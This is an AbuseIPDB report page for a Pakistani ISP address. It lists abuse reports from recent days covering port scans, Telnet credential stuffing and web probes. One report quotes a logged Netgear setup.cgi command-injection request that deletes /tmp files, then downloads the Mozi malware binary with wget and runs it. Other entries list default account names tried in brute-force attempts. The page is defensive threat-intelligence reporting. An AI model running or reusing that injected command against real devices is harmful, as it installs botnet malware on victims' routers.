JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 175.107.228.113

175.107.228.113 was found in our database!

This IP was reported 40 times. Confidence of Abuse is 94%: ?

94%

ISP	Broadband Services
Usage Type	Fixed Line ISP
ASN	AS9541
Domain Name	cyber.net.pk
Country	🇵🇰 Pakistan
City	Lahore, Punjab

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 175.107.228.113

Whois 175.107.228.113

IP Abuse Reports for 175.107.228.113:

This IP address has been reported a total of 40 times from 27 distinct sources. 175.107.228.113 was first reported on May 4th 2021, and the most recent report was 2 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 NetVexor	2026-10-16 14:56:10 (2 hours ago)	Attack source identified and submitted via NetVexor BGP Blackhole Network	Port Scan Hacking Brute-Force
🇺🇸 RAP	2026-10-15 08:38:30 (1 day ago)	2026-10-15 08:38:30 UTC Unauthorized activity to TCP port 8080. Web App	Port Scan Web App Attack
🇦🇺 PetePK	2026-10-14 06:59:03 (2 days ago)	Probed 1 time(s): TCP/23	Port Scan
Anonymous	2026-10-14 03:11:07 (2 days ago)	Unauthorized connection to Telnet port 23	Port Scan
🇫🇷 abdullahmughal	2026-10-14 02:09:14 (2 days ago)	Jaal Deceptive Lab: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions betw ... show more Jaal Deceptive Lab: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2026-10-08 09:58 UTC and 2026-10-08 10:02 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted
🇫🇮 saamkuu	2026-10-13 05:40:15 (3 days ago)	DDoS botnet: TCP connection flood, 6 connections to port 443.	DDoS Attack
🇫🇷 abdullahmughal	2026-10-12 22:08:56 (3 days ago)	Jaal Deceptive Lab: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions betw ... show more Jaal Deceptive Lab: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2026-10-08 09:58 UTC and 2026-10-08 10:02 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted
🇺🇸 RAP	2026-10-12 19:33:19 (3 days ago)	2026-10-12 19:33:19 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇫🇷 abdullahmughal	2026-10-11 14:07:09 (5 days ago)	Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2 ... show more Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2026-10-08 09:58 UTC and 2026-10-08 10:02 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted
🇫🇷 abdullahmughal	2026-10-10 14:04:08 (6 days ago)	Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2 ... show more Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2026-10-08 09:58 UTC and 2026-10-08 10:02 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted
🇳🇱 rmvanderspek	2026-10-10 13:30:04 (6 days ago)	Telnet Brute-force (IoT Botnet scan) detected.	Brute-Force IoT Targeted
🇺🇸 xxkodedxx	2026-10-10 06:30:25 (6 days ago)	[Zorvexus edge-defense] Edge-block (probe URI / bad UA / hostile vhost) Trigger: 1× edge-block in 10 ... show more [Zorvexus edge-defense] Edge-block (probe URI / bad UA / hostile vhost) Trigger: 1× edge-block in 10m window. Origin: PK / AS9541 Cyber Internet Services (Private) Limited Active: 06:29:37 UTC Volume: 1 HTTP req Probed: /boaform/admin/formLogin?username=admin&psd=admin Status mix: 444×1 Auto-banned 30d. zorvexus-banner. show less	Bad Web Bot Web App Attack
🇰🇷 eungyeol15	2026-10-09 14:19:53 (1 week ago)	[daon] Web scan/abuse: 1 events (web_probe). paths: GET /setup.cgi -> 404. sample: 175.107.228.113 - ... show more [daon] Web scan/abuse: 1 events (web_probe). paths: GET /setup.cgi -> 404. sample: 175.107.228.113 - - [09/Oct/2026:23:19:53 +0900] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.228.113:40875/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&curre show less	Web App Attack Hacking
🇫🇷 abdullahmughal	2026-10-09 14:00:55 (1 week ago)	Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2 ... show more Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (22 sessions between 2026-10-08 09:58 UTC and 2026-10-08 10:02 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted
🇫🇷 abdullahmughal	2026-10-09 10:00:20 (1 week ago)	Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (9 sessions between 20 ... show more Jaal Honeypot: Unauthorized malicious activity observed. • Targets: Telnet:23 (9 sessions between 2026-10-08 09:58 UTC and 2026-10-08 09:59 UTC) • Activity: - Credential stuffing targeting accounts: [admin, root, 888888, administrator, test1] • Attribution: Zero-egress deception sensor; passed 24h quarantine; research scanners excluded. show less	Brute-Force IoT Targeted

Showing 1 to 15 of 40 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇷🇺 213.87.102.49

🇲🇽 189.204.230.91

🇱🇧 185.206.200.3

🇩🇪 164.92.182.157

🇳🇱 151.245.151.34

🇺🇸 147.182.167.200

🇺🇸 128.173.237.5

🇸🇬 114.119.153.132

🇺🇸 74.249.131.231

🇬🇧 64.205.72.176

🇱🇹 62.60.134.212

🇺🇸 216.128.135.52

🇺🇸 172.182.207.80

🇬🇧 129.121.94.183

🇨🇳 120.48.80.70

🇺🇸 57.141.24.123

🇩🇪 51.89.38.139

🇮🇩 36.67.236.171

🇫🇷 217.60.252.148

🇮🇳 182.79.218.101